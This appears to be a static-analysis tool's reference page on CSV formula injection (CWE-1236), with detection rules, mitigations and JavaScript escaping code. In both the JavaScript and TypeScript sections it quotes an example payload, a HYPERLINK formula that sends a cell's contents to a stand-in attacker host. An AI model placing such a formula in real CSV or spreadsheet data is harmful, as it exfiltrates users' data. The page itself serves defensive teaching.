# Improper Neutralization of Formula Elements in a CSV File (CWE-1236) The product saves user-provided information into a CSV file, but it does not neutralize or incorrectly neutralizes formula elements that could be interpreted as formulas by spreadsheet applications. - Prevalence: Medium 1 language covered - Impact: Medium Review recommended - Prevention: Documented 1 fix examples **OWASP:** Injection (A03:2021-Injection) - #3 ## Description When CSV files containing formula syntax (e.g., =, @, +, -) are opened in spreadsheet applications, those formulas may be executed. Attackers can inject formulas to exfiltrate data or execute commands. ## Prevention Prevention strategies for CSV Injection based on 1 Shoulder detection rules. ### Node.js Escape formula characters in CSV cell values before sending to clients ## Warning Signs - [MEDIUM] untrusted data being placed into CSV output, which can enable formula injection when the CSV is open ## Consequences - Execute Unauthorized Code - Read Application Data ## Mitigations - Prefix cells with a single quote to prevent formula interpretation - Escape special characters at the start of cells - Validate and sanitize user input before writing to CSV ## Detection - Total rules: 1 - Languages: javascript, typescript ## Rules by Language ### Javascript (1 rules) - **CSV Injection (Formula Injection)** [MEDIUM]: Detects untrusted data being placed into CSV output, which can enable formula injection when the CSV is opened in spreadsheet software like Excel or Google Sheets. CSV injection occurs when user-controlled data containing formula characters (=, +, -, @, \t, \r) is written to a CSV file without proper escaping. When opened in spreadsheet software, these formulas can execute arbitrary commands or exfiltrate data. Example attack payload: =HYPERLINK("http://evil.com/"&A1, "Click") This would create a clickable link that sends the contents of cell A1 to the attacker. - Remediation: Escape CSV cell values by prefixing cells that start with formula characters (=, +, -, @, \t, \r) with a single quote ('). This prevents spreadsheet software from interpreting the value as a formula. ```javascript function escapeCSVCell(value) { if (typeof value !== 'string') return value; // Dangerous formula prefixes const formulaPrefixes = ['=', '+', '-', '@', '\t', '\r']; // If value starts with a formula character, prefix with single quote if (formulaPrefixes.some(prefix => value.startsWith(prefix))) { return "'" + value; } // If value contains comma, newline, or quote, wrap in quotes and escape quotes if (/[,"\r\n]/.test(value)) { return '"' + value.replace(/"/g, '""') + '"'; } return value; } // Usage app.get('/export.csv', (req, res) => { const data = req.query.data; const safeCsvValue = escapeCSVCell(data); res.setHeader('Content-Type', 'text/csv'); res.setHeader('Content-Disposition', 'attachment; filename="export.csv"'); res.send(`Name,Value\n${safeCsvValue},123`); }); ``` Alternatively, use a CSV library like PapaParse or csv-stringify which handles escaping: ```javascript const { stringify } = require('csv-stringify/sync'); app.get('/export.csv', (req, res) => { const records = [ ['Name', 'Value'], [req.query.data, '123'] ]; const csv = stringify(records); res.setHeader('Content-Type', 'text/csv'); res.send(csv); }); ``` ### Typescript (1 rules) - **CSV Injection (Formula Injection)** [MEDIUM]: Detects untrusted data being placed into CSV output, which can enable formula injection when the CSV is opened in spreadsheet software like Excel or Google Sheets. CSV injection occurs when user-controlled data containing formula characters (=, +, -, @, \t, \r) is written to a CSV file without proper escaping. When opened in spreadsheet software, these formulas can execute arbitrary commands or exfiltrate data. Example attack payload: =HYPERLINK("http://evil.com/"&A1, "Click") This would create a clickable link that sends the contents of cell A1 to the attacker. - Remediation: Escape CSV cell values by prefixing cells that start with formula characters (=, +, -, @, \t, \r) with a single quote ('). This prevents spreadsheet software from interpreting the value as a formula. ```javascript function escapeCSVCell(value) { if (typeof value !== 'string') return value; // Dangerous formula prefixes const formulaPrefixes = ['=', '+', '-', '@', '\t', '\r']; // If value starts with a formula character, prefix with single quote if (formulaPrefixes.some(prefix => value.startsWith(prefix))) { return "'" + value; } // If value contains comma, newline, or quote, wrap in quotes and escape quotes if (/[,"\r\n]/.test(value)) { return '"' + value.replace(/"/g, '""') + '"'; } return value; } // Usage app.get('/export.csv', (req, res) => { const data = req.query.data; const safeCsvValue = escapeCSVCell(data); res.setHeader('Content-Type', 'text/csv'); res.setHeader('Content-Disposition', 'attachment; filename="export.csv"'); res.send(`Name,Value\n${safeCsvValue},123`); }); ``` Alternatively, use a CSV library like PapaParse or csv-stringify which handles escaping: ```javascript const { stringify } = require('csv-stringify/sync'); app.get('/export.csv', (req, res) => { const records = [ ['Name', 'Value'], [req.query.data, '123'] ]; const csv = stringify(records); res.setHeader('Content-Type', 'text/csv'); res.send(csv); }); ```